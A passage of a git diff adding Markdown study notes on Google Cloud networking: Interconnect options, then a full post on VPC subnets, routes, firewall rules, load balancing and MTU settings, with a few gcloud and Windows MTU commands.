requires a connection in a Google-supported co-location facility. + - You can have up to eight links to achieve multiples of 10 Gbps, but 10 Gbps is the minimum capacity. As of this recording, there is a Beta feature that provides 100 Gbps per link with a maximum of two links. + +- provides direct physical connections between the on-premise network and Google's network . + +- allows for direct, private connections to Google with high uptimes and can be backed up by a VPN for greater reliability. + +- enables to transfer large amount of data between networks + - more cost-effective than purchasing additional bandwidth over the public Internet. + +- Dedicated Interconnect + - allow user traffic from the on-premises network to reach GCP resources on the VPC network and vice-versa. + - can be configured to offer a 99.9% or a 99.99% uptime SLA. +- to use Dedicated Interconnect + - provision a cross-connect between the Google network and the own router in a common co-location facility, + - To exchange routes between the networks, configure a BGP session over the Interconnect between the `Cloud router` and the `on-premise router.` + - the network must physically meet Google's network in a supported co-location facility. + +#### 5. Partner Interconnect + +![Screenshot 2024-08-07 at 12.48.31](/assets/img/Screenshot%202024-08-07%20at%2012.48.31.png) + +![Screen Shot 2021-07-31 at 1.25.22 AM](https://i.imgur.com/UEvvgNo.png) + +- Partner Interconnect + - capacity of 50 Mbps to 10 Gbps per connection, + - requirements depend on the service provider. + +- provides connectivity between the on-premises network and the VPC network through a supported service provider . + +- This is useful if the data center is in the physical location that cannot reach a Dedicated Interconnect co-location facility or if the data needs don't warrant a Dedicated Interconnect. + +- In order to use Partner Interconnect, work with a supported service provider to connect the VPC and on-premise networks. + + - These service providers have existing physical connections to Google's network that they make available for their customers to use. + + - After you establish connectivity with the service provider, you can request a **Partner Interconnect connection** from the service provider, + + - then establish a **BGP session** between the `Cloud router` and `on-premise router` to start passing traffic between the networks. + +- can be configured to offer a 99.9% or a 99.99% uptime SLA between Google and the service provider. + +> recommendation +> start with VPN tunnels. +> When need enterprise-grade connection to GCP, switch to Dedicated Interconnect or Partner Interconnect, depending on the proximity to a co-location facility and the capacity requirements. + + +#### 5. Cross-Cloud Interconnect + +![Screenshot 2024-08-07 at 12.49.34](/assets/img/Screenshot%202024-08-07%20at%2012.49.34.png) + +- helps establish high-bandwidth dedicated connectivity between Google Cloud and another cloud service provider . + +- It supports an integrated multicloud strategy and offers reduced complexity, site-to-site data transfer, and encryption. + +- connections are available in two sizes: 10 Gbps or 100 Gbps. + +. diff --git a/_posts/01Cloud/01GCP/Network/2021-01-01-GCP-VPC.md b/_posts/01Cloud/01GCP/Network/2021-01-01-GCP-VPC.md new file mode 100644 index 00000000000..b201937f8d3 --- /dev/null +++ b/_posts/01Cloud/01GCP/Network/2021-01-01-GCP-VPC.md @@ -0,0 +1,785 @@ +--- +title: GCP - VPC Virtual Private Cloud +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, GCPNetwork] +tags: [GCP] +toc: true +image: +--- + +- [GCP - Virtual Private Cloud](#gcp---virtual-private-cloud) + - [Virtual Private Cloud](#virtual-private-cloud) + - [Specifications](#specifications) + - [Default network](#default-network) + - [subnet](#subnet) + - [Subnet creation mode](#subnet-creation-mode) + - [custom mode VPC network](#custom-mode-vpc-network) + - [auto mode VPC network](#auto-mode-vpc-network) + - [consideration](#consideration) + - [Subnet ranges](#subnet-ranges) + - [Valid ranges](#valid-ranges) + - [Restricted ranges](#restricted-ranges) + - [Route](#route) + - [Dynamic routing mode](#dynamic-routing-mode) + - [routing tables / Forwarding rules](#routing-tables--forwarding-rules) + - [Firewall](#firewall) + - [Global distributed firewall](#global-distributed-firewall) + - [Firewall rule with Tag](#firewall-rule-with-tag) + - [DNS](#dns) + - [General DNS](#general-dns) + - [Google Cloud DNS](#google-cloud-dns) + - [Google Cloud CDN](#google-cloud-cdn) + - [Interfaces and IP addresses](#interfaces-and-ip-addresses) + - [IP addresses](#ip-addresses) + - [Alias IP ranges](#alias-ip-ranges) + - [Network interfaces](#network-interfaces) + - [Hybrid cloud and VPC connection](#hybrid-cloud-and-vpc-connection) + - [Cloud Load Balancing](#cloud-load-balancing) + - [different load balancer](#different-load-balancer) + - [Communications and access](#communications-and-access) + - [Communication within the network](#communication-within-the-network) + - [Internet access requirements](#internet-access-requirements) + - [Communications and access for App Engine](#communications-and-access-for-app-engine) + - [Traceroute to external IP addresses](#traceroute-to-external-ip-addresses) + - [Egress throughput limits](#egress-throughput-limits) + - [Packet size](#packet-size) + - [Maximum transmission unit - MTU](#maximum-transmission-unit---mtu) + - [VMs and MTU settings](#vms-and-mtu-settings) + - [Migrating services to a different MTU network](#migrating-services-to-a-different-mtu-network) + - [Consequences of mismatched MTUs](#consequences-of-mismatched-mtus) + - [Network performance](#network-performance) + - [Latency](#latency) + - [Packet loss](#packet-loss) + + +--- + +# GCP - Virtual Private Cloud + +--- + +## Virtual Private Cloud + +Virtual Private Cloud (VPC) + +- provides networking functionality to **Compute Engine virtual machine (VM) instances**, **Google Kubernetes Engine (GKE) clusters**, and the **App Engine flexible environment**. + +- VPC provides networking for the cloud-based resources and services that is global, scalable, and flexible. + +- Offers built-in Internal TCP/UDP Load Balancing and proxy systems for Internal HTTP(S) Load Balancing. + +- Connects to on-premises networks using **Cloud VPN tunnels** and **Cloud Interconnect attachments**. + +- Distributes traffic from Google Cloud external load balancers to backends. + +- define the own VPC inside the GCP project, or choose the default VPC. + - ![Screenshot 2024-08-07 at 11.34.23](/assets/img/Screenshot%202024-08-07%20at%2011.34.23.png) + + - Projects can contain multiple VPC networks. + + - Unless you with an organizational policy that prohibits it, new projects start with a default network (an auto mode VPC network) that has one subnetwork (subnet) in each region. + +- A VPC network is a global resource that `consists of a list of regional virtual subnetworks (subnets) in data centers`, all connected by a global wide area network. + +- VPC networks are logically isolated from each other in Google Cloud. + +- VPC networks connect the Google Cloud platform resources to each other and to the internet. + - segment the networks, + - use firewall rules to restrict access to instances, + - and create static routes to forward traffic to specific destinations. + +![Screenshot 2024-08-07 at 11.38.35](/assets/img/Screenshot%202024-08-07%20at%2011.38.35.png) + +![Screenshot 2024-08-07 at 11.39.08](/assets/img/Screenshot%202024-08-07%20at%2011.39.08.png) + +![Screen Shot 2021-02-03 at 15.48.15](https://i.imgur.com/xVdAWp7.png) + +![Screen Shot 2021-06-25 at 2.45.42 PM](https://i.imgur.com/xKaYAJ7.png) + +--- + +### Specifications + +- Networks are global; subnets are regional + + - VPC networks, associated routes and firewall rules have **global scope**. + - define the own network layout with global scope. + - VPC can have subnets in any GCP region worldwide + - They are not associated with any particular region or zone. + - VPC subnets have **regional scope**. + - Each subnet defines a range of IP addresses. + - subnet can span the zones that make up a region. + - can have resources in different zones on the same subnet. + - solutions can incorporate fault tolerance without complicating the network topology. + - example + - the VPC has one network. + - it has one **subnet** defined in GCP us-east1 region. + - it has two **Compute Engine VMs** attached to it. + - They're neighbors on the same subnet even though they are in different zones. + - solutions that are resilient but still have simple network layouts. + + +- Traffic to and from instances can be controlled with **network firewall rules**. + - Rules are implemented on the VMs themselves, so traffic can only be controlled and logged as it leaves or arrives at a VM. + +- can dynamically increase the size of a subnet in a custom network by expanding the range of IP addresses. + - Doing that doesn't affect already configured VMs. + + +- Resources within a VPC network can communicate with one another by using internal IPv4 addresses, subject to applicable network firewall rules. + +- VPC networks only support IPv4 unicast traffic. + - do not support broadcast, multicast, or IPv6 traffic within the network; + - VMs in the VPC network can only send to IPv4 destinations and only receive traffic from IPv4 sources. + - However, it is possible to create an IPv6 address for a global load balancer. + + +- Instances with internal IP addresses can communicate with Google APIs and services. + +- Network administration can be secured by using **Identity and Access Management (IAM) roles**. + + +- An organization can use Shared VPC to keep a VPC network in a common host project. + - Authorized IAM members from other projects in the same organization can create resources that use subnets of the Shared VPC network. + +- VPC networks can be connected to other VPC networks in different projects or organizations by using **VPC Network Peering**. + +- VPC networks can be securely connected in hybrid environments by using **Cloud VPN or Cloud Interconnect**. + +- VPC networks support GRE traffic, including traffic on Cloud VPN and Cloud Interconnect. + - VPC networks do not support GRE for Cloud NAT or for forwarding rules for load balancing and protocol forwarding. + - Support for GRE allows you to terminate GRE traffic on a VM from the internet (external IP address) and Cloud VPN or Cloud Interconnect (internal IP address). + - The decapsulated traffic can then be forwarded to a reachable destination. + - GRE enables you to use services such as Secure Access Service Edge (SASE) and SD-WAN. + - Note: GRE support for VPN and Interconnect has been tested only with GRE version 0. Additionally, support for GRE traffic does not include support from Google Cloud for troubleshooting the overlay network. + +--- + +### Default network + +Unless disable it, each new project starts with a default network. +- The default network is an **auto mode VPC network** with pre-populated firewall rules. + +disable the creation of default networks by creating an organization policy with the `compute.skipDefaultNetworkCreation` constraint. +- Projects that inherit this policy won't have a default network. + +--- + + +## subnet + +- Each VPC network consists of one or more useful IP range partitions called subnets. + +- Each subnet is associated with a region + - VPC subnets can span the zones that make up a region + - VPC networks do not have any IP address ranges associated with them. + - can create more than one subnet per region. +- IP ranges are defined for the subnets. + +A network must have at least one subnet before you can use it. +- **Auto mode VPC networks** + - create subnets in each region automatically. +- **Custom mode VPC networks** + - start with no subnets, giving full control over subnet creation. + + + +creating an instance +- involves selecting a zone, a network, and a subnet. The subnets available for selection are restricted to those in the selected region. Google Cloud assigns the instance an IP address from the range of available addresses in the subnet. + +creating a managed instance group +- involves selecting a zone or region, depending on the group type, and an instance template. The instance templates available for selection are restricted to those whose defined subnets are in the same region selected for the managed instance group. + + +creating an instance template +- **Instance templates** are global resources +- involves selecting a network and a subnet. +- If you select an auto mode VPC network, you can choose to use auto subnets to defer subnet selection to one that is available in the selected region of any managed instance group that would use the template. Auto mode VPC networks have a subnet in every region by definition. + +creating a Kubernetes container cluster +- involves selecting a zone or region (depending on the cluster type), a network, and a subnet. The subnets available for selection are restricted to those in the selected region. + + +### Subnet creation mode + +switch a VPC network from auto mode to custom mode is a one-way conversion; +- custom mode VPC networks cannot be changed to auto mode VPC networks. + +#### custom mode VPC network +- no subnets are automatically created. +- provides complete control over its subnets and IP ranges. +- decide which subnets to create in regions by using IP ranges that specify. + + +#### auto mode VPC network +- one subnet from each region is automatically created within it. +- These automatically created subnets use a set of predefined IP ranges that fit within the `10.128.0.0/9` CIDR block. +- As new Google Cloud regions become available, new subnets in those regions are automatically added to auto mode VPC networks by using an IP range from that block. +- In addition to the automatically created subnets, you can add more subnets manually to auto mode VPC networks in regions that you choose by using IP ranges outside of `10.128.0.0/9` + + +#### consideration + +**Auto mode VPC networks** +- easy to set up and use +- well suited for use cases with these attributes: + - subnets automatically created in each region is useful. + - predefined IP ranges of the subnets do not overlap with IP ranges that you would use for different purposes (for example, Cloud VPN connections to on-premises resources). + +**custom mode VPC networks** +- more flexible and are better suited to production. +- The following attributes highlight use cases where custom mode VPC networks are recommended or required: + - one subnet automatically created in each region isn't necessary. + - new subnets automatically created as new regions become available could overlap with IP addresses used by manually created subnets or static routes, or could interfere with the overall network planning. + - You need complete control over the subnets created in the VPC network, including regions and IP address ranges used. + - You plan to connect VPC networks by using VPC Network Peering or Cloud VPN. Because the subnets of every auto mode VPC network use the same predefined range of IP addresses, you cannot connect auto mode VPC networks to one another. + - Important: Production networks should be planned in advance. We recommend that you use custom mode VPC networks in production. + + +### Subnet ranges + +When create a subnet, must define its primary IP address range. +- The primary internal addresses for the following resources come from the subnet's primary range: VM instances, internal load balancers, and internal protocol forwarding. + +- optionally add secondary IP address ranges to a subnet, which are only used by alias IP ranges. However, you can configure alias IP ranges for instances from the primary or secondary range of a subnet. + +- Each primary or secondary IP range for all subnets in a VPC network must be a unique valid CIDR block. Refer to the per network limits for the number of secondary IP ranges you can define. + +- subnets don't need to form a predefined contiguous CIDR block, but you can do that if desired. For example, auto mode VPC networks do create subnets that fit within a predefined auto mode IP range. + + + +#### Valid ranges + +> A subnet's primary and secondary IP address ranges are **regional internal IP addresses**. + +Valid ranges: + +- `10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16` + - Private IP addresses RFC 1918 +- `100.64.0.0/10` + - Shared address space RFC 6598 +- `192.0.0.0/24` + - IETF protocol assignments RFC 6890 +- `192.0.2.0/24 (TEST-NET-1), 198.51.100.0/24 (TEST-NET-2), 203.0.113.0/24 (TEST-NET-3)` + - Documentation RFC 5737 +- `192.88.99.0/24` + - Pv6 to IPv4 relay (deprecated) RFC 7526 +- `198.18.0.0/15` + - Benchmark testing RFC 2544 +- `240.0.0.0/4` + - Reserved for future use (Class E) as noted in RFC 5735 and RFC 1112. + - Some operating systems do not support the use of this range, so verify that the OS supports it before creating subnets that use this range. +- `Privately used public IP addresses` + - Includes IP addresses that are not part of the RFC ranges listed in this table and not part of the restricted set. + - use these addresses as subnet ranges, Google Cloud does not announce these routes to the internet and does not route traffic from the internet to them. + - For VPC Network Peering, subnet routes for `public IP addresses` are not automatically exchanged. + - The subnet routes are automatically exported by default, but peer networks must be explicitly configured to import them in order to use them. + + ```bash + gcloud compute --project=qwiklabs-gcp-00-cdc530d7d99c \ + firewall-rules create managementnet-allow-icmp-ssh-rdp \ + --direction=INGRESS \ + --priority=1000 \ + --network=managementnet \ + --action=ALLOW \ + --rules=tcp:22,tcp:3389,icmp \ + --source-ranges=0.0.0.0/0 + ``` + +#### Restricted ranges + +> Restricted ranges include **Google public IP addresses and commonly reserved RFC ranges**, These ranges cannot be used for subnet ranges. + +Range Description +- `Public IP addresses for Google APIs and services, including Google Cloud netblocks` + - https://gstatic.com/ipranges/goog.txt. +- `199.36.153.4/30 and 199.36.153.8/30` + - Private Google Access-specific virtual IP addresses +- `0.0.0.0/8` + - Current (local) network RFC 1122 +- `127.0.0.0/8` + - Local host RFC 1122 +- `169.254.0.0/16` + - Link-local RFC 3927 +- `224.0.0.0/4` + - Multicast (Class D) RFC 5771 +- `255.255.255.255/32` + - Limited broadcast destination address RFC 8190 and RFC 919 +- `Reserved IP addresses in a subnet` + - Every subnet has **four reserved IP addresses** in its primary IP range . + - There are no reserved IP addresses in the secondary IP ranges . + - Network + - First address in the primary IP range for the subnet + - `10.1.2.0 in 10.1.2.0/24` + - Default gateway + - Second address in the primary IP range for the subnet + - `10.1.2.1 in 10.1.2.0/24` + - Second-to-last address + - Second-to-last address in the primary IP range for the subnet that is reserved by Google Cloud for potential future use + - `10.1.2.254 in 10.1.2.0/24` + - Broadcast + - Last address in the primary IP range for the subnet + - `10.1.2.255 in 10.1.2.0/24` + + + +--- + +## Route + +> Without a VPC network, there are no routes and no firewall rules! + +Routes define paths for packets leaving instances (egress traffic). +- Routes tell VM instances and the VPC network how to send traffic from an instance to a destination, either inside the network or outside of Google Cloud. + + +Routes in Google Cloud are divided into two categories: system-generated and custom . + +- Each VPC network comes with **some system-generated routes** + - to route traffic among its subnets and send traffic from **eligible instances** to the internet. + - Every new network starts with two types of **system-generated routes**: + - The default route + - **defines a path for traffic to leave the VPC network** + - It provides general internet access to VMs that meet the internet access requirements. + - It also provides the typical path for Private Google Access. + - subnet route + - **define paths for traffic to reach VMs that use the subnets** + - a subnet route is created for each of the IP ranges associated with a subnet. + - Every subnet has at least one subnet route for its primary IP range. + - Additional subnet routes are created for a subnet if you add secondary IP ranges to it. + - You cannot remove subnet routes manually. + +- create **custom static routes** to direct some packets to specific destinations. + - static routes that create manually + - dynamic routes maintained automatically by one or more of the Cloud Routers. + + +### Dynamic routing mode + +- Each VPC network has an associated **dynamic routing mode** that controls the behavior of all of its **Cloud Routers** + - Cloud Routers + - **share routes to your VPC network** + - **learn custom dynamic routes from connected networks** when you connect your VPC network to another network by using a `Cloud VPN tunnel that uses dynamic routing`, or by using `Dedicated / Partner Interconnect`. + +- **Regional dynamic routing** is the default. + - `routes to on-premises resources learned by a given Cloud Router in the VPC network` only apply to the subnets in the same region as the Cloud Router. + - Unless modified by custom advertisements, each Cloud Router only shares the routes to subnets in its region with its on-premises counterpart. + +- **Global dynamic routing** + - changes the behavior of all Cloud Routers in the network such that the `routes to on-premises resources that they learn` are available in all subnets in the VPC network, regardless of region. + - Unless modified by custom advertisements, each Cloud Router shares routes to all subnets in the VPC network with its on-premises counterpart. + + +The dynamic routing mode can be set when create or modify a VPC network. +- can change the dynamic routing mode from regional to global and vice-versa without restriction. +- Changing the dynamic routing mode has the potential to interrupt traffic within the network or enable or disable routes in unexpected ways. Carefully review the role of each Cloud Router before changing the dynamic routing mode. + + +--- + +### routing tables / Forwarding rules + +![Screenshot 2024-08-07 at 11.54.04](/assets/img/Screenshot%202024-08-07%20at%2011.54.04.png) + +While routes govern traffic leaving an instance, **forwarding rules** direct traffic _to_ a Google Cloud resource in a VPC network based on **IP address, protocol, and port**. + +- Much like physical networks, VPCs have routing tables. + - forward traffic between instance within the same network. + - forward traffic across sub-networks + - forward traffic between GCP zones without requiring an external IP address. + +- Destinations for forwarding rules are `target instances`, `load balancer targets` (target proxies, target pools, and backend services), and `Cloud VPN gateways`. + +- VPCs routing tables are built in, + - don't have to provision or manage a router. + - don't have to provision or manage for GCP, a firewall instance. + + +--- + +## Firewall + +> Without a VPC network, there are no routes and no firewall rules! + +![Screenshot 2024-08-07 at 11.54.26](/assets/img/Screenshot%202024-08-07%20at%2011.54.26.png) + +### Global distributed firewall + +- Each VPC network implements a distributed virtual firewall + +- Firewall rules apply to both outgoing (egress) and incoming (ingress) traffic in the network. + - Firewall rules control traffic even if it is entirely within the network, including communication among VM instances. + +- Firewall rules control which packets are allowed to travel to which destinations. + + - Every VPC network has two **implied** firewall rules + - One rule **allows most egress traffic**, + - and the other **denies all ingress traffic**. + + - cannot delete the implied rules, but can override them + + - The `default` network has **additional firewall rules** + - including the `default-allow-internal` rule: permit communication among instances in the network. + + - Google Cloud always blocks some traffic, regardless of firewall rules; for more information, see blocked traffic. + +firewall example +- default-allow-icmp +- default-allow-rdp +- default-allow-ssh +- default-allow-internal +- These firewall rules allow + - all `ICMP, RDP, and SSH` ingress traffic from anywhere (0.0.0.0/0) + - all `TCP, UDP, and ICMP` traffic within the network (10.128.0.0/9). + + +![Screenshot 2024-08-07 at 13.15.05](/assets/img/Screenshot%202024-08-07%20at%2013.15.05.png) + +### Firewall rule with Tag + +![Screenshot 2024-08-07 at 11.54.38](/assets/img/Screenshot%202024-08-07%20at%2011.54.38.png) + +- define firewall rules in terms of metadata tags on Compute Engine instances + - example + - tag all the web servers with say, "web," + - and write a firewall rule saying that traffic on ports 80 or 443 is allowed into all VMs with the "web" tag, no matter what their IP address happens to be. + +--- + +## DNS + +### General DNS + +- 8.8.8.8 + - Google services + - provides a public domain name service to the world. + - DNS is what translates internet host names to addresses. + - Google has a highly developed DNS infrastructure. + - It makes 8.8.8.8 available so that everybody can take advantage of it. + +--- + +### Google Cloud DNS + +- for the internet host names and addresses of applications build in GCP + +- to help the world find them + +- a managed DNS service running on the same infrastructure as Google. + +- It has low latency and high availability + +- a cost-effective way to make the applications and services available to the users. + +- The DNS information you publish is served from redundant locations around the world. + +- Cloud DNS is also programmable. + - publish and manage millions of DNS zones and records + - using the GCP console, the command line interface or the API. + +--- + +### Google Cloud CDN + +![Screen Shot 2022-08-16 at 23.33.31](https://i.imgur.com/9E6ozaA.jpg) + +![Screenshot 2024-08-07 at 12.39.56](/assets/img/Screenshot%202024-08-07%20at%2012.39.56.png) + +Edge caches +- Google has a global system of edge caches. +- You can use this system to accelerate content delivery in the application +- the customers + - experience lower network latency. +- The origins of the content + - experience reduced load + - and save money too. +- Once you've set up HTTPS load balancing, simply enable Cloud CDN with a single checkbox. +- CDN is a part of GCPs, + - CDN interconnect partner program and you can continue to use it. + +--- + +## Interfaces and IP addresses + +### IP addresses + +Google Cloud resources, such as Compute Engine VM instances, forwarding rules, GKE containers, and App Engine, rely on IP addresses to communicate. + +### Alias IP ranges + +For multiple services running on a single VM instance +- can give each service a `different internal IP address` by using **alias IP ranges**. +- The VPC network forwards packets that are destined to a particular service to the corresponding VM. + +### Network interfaces + +Add multiple **network interfaces** to a VM instance +- each interface resides in a unique VPC network. +- Multiple network interfaces enable a network appliance VM to act as a gateway for securing traffic among different VPC networks or to and from the internet. + +--- + +## Hybrid cloud and VPC connection + +[link](https://github.com/ocholuo/ocholuo.github.io/tree/master/_posts/01Cloud/01GCP/Network/2021-01-01-GCP-Network-connection.md) + +--- + + +## Cloud Load Balancing + +![Screen Shot 2022-08-16 at 23.34.01](https://i.imgur.com/nNsf2wp.jpg) + +![Screen Shot 2022-08-16 at 23.34.15](https://i.imgur.com/BCOC9ta.png) + +- a fully distributed, software-defined managed service for all the traffic . + - because the load balancers don't run in VMs, no worry about scaling or managing them. + +- put Cloud Load Balancing in front of all the traffic + - HTTP and HTTPS, TCP, UDP and SSL traffic + - basic + - you application presents a single front-end to the world + - users get a single, global anycast IP address + - Traffic goes over the google backbone from the closet point-of-presence to the user + - backend instances in regions around the world. + + +- provides cross-region load balancing + - including automatic multi-region failover, + +- backbone are selected based on load + - Cloud Load Balancing reacts quickly to changes in users, traffic, backend health, network conditions, and other related conditions. + - gently moves traffic in fractions if backends become unhealthy. + - only healthy backends receive reaffic + - no pre-warming is required + +### different load balancer + +![Screenshot 2024-08-07 at 12.38.00](/assets/img/Screenshot%202024-08-07%20at%2012.38.00.png) + +- Global external load balancing + + - global HTTPS load balancer + - layer 7 load balancing based on load + - cross regional load balancing for web application + - route different URLs to different back ends + + - global SSL proxy load balancer + - layer 4 load balancing of non-HTTPS SSL traffic based on load + - For Secure Sockets Layer traffic that is not HTTP + - Supported on specific port numbers + - only work for TCP and specific port numbers + + - global TCP proxy load balancer + - layer 4 load balancing of non-SSL TCP traffic + - If it's other TCP traffic that does not use Secure Sockets Layer + - Supported on specific port numbers + - only work for TCP and specific port numbers + +- Regional external Network Load Balancing + - regional load balancer + - load balancing of any traffic (TCP/UDP) on any port number + - load balance across a GCP region with the regional load balancer + +- Regional Internal TCP/UDP Load Balancing + - internal load balancer + - load balance traffic inside a VPC / the project + - for traffic + - coming into the Google network from the internet. + - example: + - between the presentation layer and the business logic layer of the application + - TCP traffic on arbitrary port numbers + - UDP traffic + - accepts traffic on a GCP internal IP address and load balances it across Compute Engine VMs. + - for the interbal tiers of multi-tier applications + - to load-balance traffic among the back-end VMs that form part of a multi-tier application. + +![Screen Shot 2021-02-03 at 20.26.54](https://i.imgur.com/LSAsJ01.png) + + +--- + + +## Communications and access + + +### Communication within the network + +- The **system-generated subnet routes** define the paths for sending traffic among instances within the network by using `internal IP addresses`. +- The **Firewall** + - For one instance to be able to communicate with another, appropriate firewall rules must also be configured because every network has an `implied deny firewall rule for ingress traffic`. + - Except for the default network, must explicitly create **higher priority ingress firewall rules** to allow instances to communicate with one another. + - The default network includes several other firewall rules: + - the `default-allow-internal rule`: permits instance-to-instance communication within the network. + - The default network also comes with `ingress rules allowing protocols such as RDP and SSH`. + - Rules that come with the default network are also presented as options for you to apply to new **auto mode VPC networks** that you create by using the Cloud Console. + + +### Internet access requirements + +The following criteria must be satisfied for an instance to have outgoing internet access: + +- **default internet gateway route or custom route** + - The network must have a valid `default internet gateway route or custom route` whose destination IP range is the most general (0.0.0.0/0). This route defines the path to the internet. +- **Firewall rules** + - must allow egress traffic from the instance. + - Unless overridden by a higher priority rule, the implied allow rule for egress traffic permits outbound traffic from all instances. +- One of the following must be true: + - The instance must have an `external IP address`. be assigned when created or after created. + - The instance must be able to use `Cloud NAT` or an `instance-based proxy` that is the target for a static 0.0.0.0/0 route. + + +### Communications and access for App Engine + +VPC firewall rules apply to resources running in the VPC network, such as Compute Engine VMs. + +For App Engine instances, firewall rules work as follows: +- **App Engine standard environment**: + - Only **App Engine firewall rules** apply to ingress traffic. + - Because App Engine standard environment instances do not run inside your VPC network, **VPC firewall rules** do not apply to them. +- **App Engine flexible environment**: + - Both **App Engine and VPC firewall rules** apply to ingress traffic. + - Inbound traffic is only permitted if it is allowed by both types of firewall rules. + - For outbound traffic, VPC firewall rules apply. + +### Traceroute to external IP addresses + +- For internal reasons, Google Cloud increases the TTL counter of packets that traverse next hops in Google's network. +- Tools like `traceroute` and `mtr` might provide incomplete results because the TTL doesn't expire on some of the hops. + +Hops that are inside and outside of Google's network might be hidden in these circumstances: +- When you send packets **from Compute Engine instances to external IP addresses**, including external IP addresses of other Google Cloud resources or destinations on the internet. +- When you send packets to the **external IP address associated with a Compute Engine instance or other Google Cloud resource**. + +The number of hidden hops varies based on the instance's Network Service Tiers, region, and other factors. If there are only a few hops, it's possible for all of them to be hidden. Missing hops from a traceroute or mtr result don't mean that outbound traffic is dropped. + +There is no workaround for this behavior. You must take it into account if you configure third-party monitoring that connects to an external IP address associated with a VM. + +Important: +- Probe loss statistics are a component of traceroute tests, but care must be taken when analyzing test results. traceroute and mtr by default utilize ICMP-based probing. +- ICMP probe response generation is typically rate-limited (or disabled) in routers that reside in the network path of your probing and can result in missing probe responses. +- When this behavior occurs, you may see probe loss in intermediate routing hops, but this should not reflect end-to-end performance. If looking for packet loss, the only hop that generally matters is the destination hop. + + +### Egress throughput limits + +Network throughput information is available on the Network bandwidth page in the Compute Engine documentation. + +### Packet size + +Information about packet size is in the maximum transmission unit section. + + +--- + +## Maximum transmission unit - MTU + +- The MTU is the size, in bytes, of the largest packet supported by a network layer protocol, including both headers and data. + +- VPC networks have a default maximum transmission unit (MTU) of 1460 bytes. However, you can configure your VPC networks to have an MTU of 1500 bytes. + +- In Google Cloud, you set the MTU for each VPC network, and VM instances that use that network must also be configured to use that MTU for their interfaces. +- The network's MTU setting is communicated to a VM when that VM requests an IP address using DHCP. DHCP Option 26 contains the network's MTU. + +The MTU impacts both UDP and TCP traffic: + +- If a UDP packet is larger than the destination can receive or the MTU on network link on the path to the destination, the packet + - dropped if the `Don't-Fragment` flag is set. an ICMP packet of the type `Fragmentation-Needed` is sent back to the sender. + - (generally) fragmented if the `Don't-Fragment` flag is not set. This fragmentation is done where a mismatch is detected: this could be at an intermediate router or even at the sender itself if a packet is sent that is larger than the MTU. +- TCP negotiates the **maximum segment size (MSS)** during connection setup time. Packets are then segmented into the smaller MTU size of both endpoints of the connection. + + +### VMs and MTU settings + +- Linux VMs based on **Google-provided OS images** automatically have their interface MTU set to the MTU of the VPC network when they are created. + +- If a VM has multiple network interfaces, each interface is set to the MTU of the attached network. + - If you change the MTU of a VPC that has running VMs, you must stop and then start those VMs to pick up the new MTU. When the VMs start up again, the changed network MTU is communicated to them from DHCP. + + - Windows VMs do not automatically configure their interfaces to use the VPC network's MTU when they start. To set Windows VMs based on Google-provided OS images to an MTU of 1500, do the following on each Windows VM: + + ```bash + netsh interface ipv4 show interface + netsh interface ipv4 set interface INTERFACE_INDEX mtu=1500 store=persistent + shutdown /r /t 0 + ``` + + ```PowerShell + Set-NetIPInterface -InterfaceAlias INTERFACE_NAME -AddressFamily IPv4 -NlMtu 1500 + Restart-Computer -Force + ``` + + +### Migrating services to a different MTU network + +to migrate your services to new VMs in a new network rather than changing the MTU of your existing network. In such a case, you might have a server, such as a database server, that needs to be accessible to all VMs during the migration. If so, the following general approach might help you migrate cleanly: + +- Create the new **network** with the new MTU. +- Create any necessary **firewall rules and routes** in the new network. +- Create a **VM with multiple network interfaces** in the old network. One interface connects to the new network using the new MTU and the other connects to the old network using the old MTU. +- Configure this **new VM as a secondary server** for the existing one. + +- Fail the primary server over to the secondary one. +- Either Migrate VMs to the new network or create new VMs in the new network. + - If you create new VMs, you can create them from scratch, from an existing image, or by creating a snapshot of the existing VMs and using that to populate the new persistent disks. + +- Configure these VMs to use the operational server in that network. +- Migrate traffic to the new VMs. +- If you intend to delete the old network, create a new server in the new network, get it in sync with the existing server, and fail over to it. +- Delete the old server and old network. + + + +### Consequences of mismatched MTUs + +mismatched MTU: two communicating VM instances that have different MTU settings. +- This can, in a limited number of cases, cause connectivity problems. Specific cases involve the use of instances as routers and the use of Kubernetes inside VMs. +- In most common scenarios, TCP connections established between instances with different MTUs are successful due to the MSS negotiation, where both ends of a connection will agree to use the lower of the two MTUs. +- This applies whether the two VMs are in the same network or peered networks. + + +1. MTU differences with Cloud VPN + + +2. MTU differences with **Cloud Interconnect** + - Cloud Interconnect can have an `MTU of 1440 or 1500`. + + - If the `communicating VMs` have an MTU of 1500 and the `Interconnect connection` has an MTU of 1440 + - MSS clamping reduces the MTU of **TCP connections** to 1440 and TCP traffic proceeds. + - MSS clamping does not affect **UDP packets** + + - if the `VPC network` has an MTU of 1500 and the `Interconnect connection` has an MTU of 1440, + - then UDP datagrams with more than 1412 bytes of data (1412 bytes UDP data + 8 byte UDP header + 20 byte IPv4 header = 1440) are dropped. + - In such a case, you can do one of the following: + - Lower the MTU of the attached VPC network to 1460. + - Adjust your application to send smaller UDP packets. + - Create a new Interconnect connection of 1500 bytes + +--- + + + +## Network performance + +### Latency + +The measured **inter-region latency for Google Cloud networks** can be found in our live dashboard. +- The dashboard shows Google Cloud's `median inter-region latency` and `throughput performance metrics` and `methodology to reproduce` these results using PerfKit Benchmarker. + +- Google Cloud typically measures round-trip latencies less than 55 μs at the 50th percentile and tail latencies less than 80μs at the 99th percentile between c2-standard-4 VM instances in the same zone. + +- Google Cloud typically measures round-trip latencies less than 45μs at the 50th percentile and tail latencies less than 60μs at the 99th percentile between c2-standard-4 VM instances in the same low-latency network ("compact" placement policy). Compact placement policy lowers the network latency by ensuring that the VMs are located physically within the same low-latency network. + +Methodology: Intra-zone latency is monitored via a blackbox prober that constantly runs netperf TCP_RR benchmark between a pair of c2-types VMs in every zone c2 instances are available. It collects P50 and P99 results for setup with and without compact placement policy. TCP_RR benchmark measures request/response performance by measuring the transaction rate. If your applications require best possible latency, c2 instances are recommended. + +### Packet loss + +Google Cloud tracks **cross-region packet loss** by regularly measuring `round-trip loss` between all regions. +- We target the global average of those measurements to be lower than 0.01% . +- Methodology: + - A blackbox vm-to-vm prober monitors the packet loss for every zone pair using pings and aggregates the results into one global loss metric. + - This metric is tracked with a one-day window. + + +. diff --git a/_posts/01Cloud/01GCP/identity/2021-01-01-Cloud-IAM.md b/_posts/01Cloud/01GCP/identity/2021-01-01-Cloud-IAM.md new file mode 100644 index 00000000000..279e59ea572 --- /dev/null +++ 